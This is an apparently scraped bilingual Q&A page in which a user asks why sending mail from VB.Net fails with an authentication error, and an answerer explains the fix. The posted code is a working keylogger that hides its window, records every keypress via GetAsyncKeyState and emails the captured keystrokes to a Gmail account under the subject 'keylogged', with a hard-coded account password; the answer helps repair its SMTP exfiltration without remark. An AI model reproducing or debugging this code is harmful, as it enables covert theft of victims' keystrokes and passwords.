在Vb.Net中发送邮件时出错 [英] Error Sending Mail In Vb.Net

查看:76
本文介绍了在Vb.Net中发送邮件时出错的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

服务器响应5.5.1。必需的认证这是代码





Server response 5.5.1 . Required authentication . Here is the code


Imports System.Net.Mail
 Public Class Form1
 Dim result As Integer
 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16

 Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
 Me.hide()
 Me.visible = False
 For i = 1 To 255
 result = 0
 result = GetAsyncKeyState(i)
 If result = -32767 Then
 RichTextBox1.Text = RichTextBox1.Text + Chr(i)
 End If
 Next i
 End Sub

 Private Sub email_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles email.Tick
 Dim MyMailMessage As New MailMessage()
 MyMailMessage.From = New MailAddress("catalin0504229@gmail.com")
 MyMailMessage.To.Add("catalin0504229@gmail.com")
 MyMailMessage.Subject = ("keylogged")
 MyMailMessage.Body = RichTextBox1.Text
 Dim SMTPServer As New SmtpClient("smtp.gmail.com")
 SMTPServer.Port = 587
 SMTPServer.Credentials = New System.Net.NetworkCredential("catalin0504229@gmail.com", "Stevejobs1")
 SMTPServer.EnableSsl = True
 SMTPServer.Send(MyMailMessage)
 RichTextBox1.Text = ("")
 End Sub

 Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

 End Sub
 End Class 

推荐答案

Google如何通过Gmail发送电子邮件,你会发现很多代码示例,这是最常见的问题之一,你应该在提出问题之前做基础研究。



看起来你没有将UseDefaultCredentials设置为False。



Google how to send email via gmail and you'll find lots of code examples, this is one of the most frequently asked questions and you should do basic research before asking a question.

It looks like you're not setting UseDefaultCredentials to False.

SMTPServer.UseDefaultCredentials = False
SMTPServer.Credentials = New System.Net.NetworkCredential("catalin0504229@gmail.com", "Stevejobs1")





如果你还有问题那么它库仑d,如果您没有将您的帐户设置为允许smtp电子邮件,或者您需要传递验证码,或者您可以通过Google搜索解决许多其他问题之一。



If you're still having problems then it could be you have not set your account to allow smtp emails, or you need to pass the "captcha", or one of the many other issues you can resolve by googling.


这篇关于在Vb.Net中发送邮件时出错的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆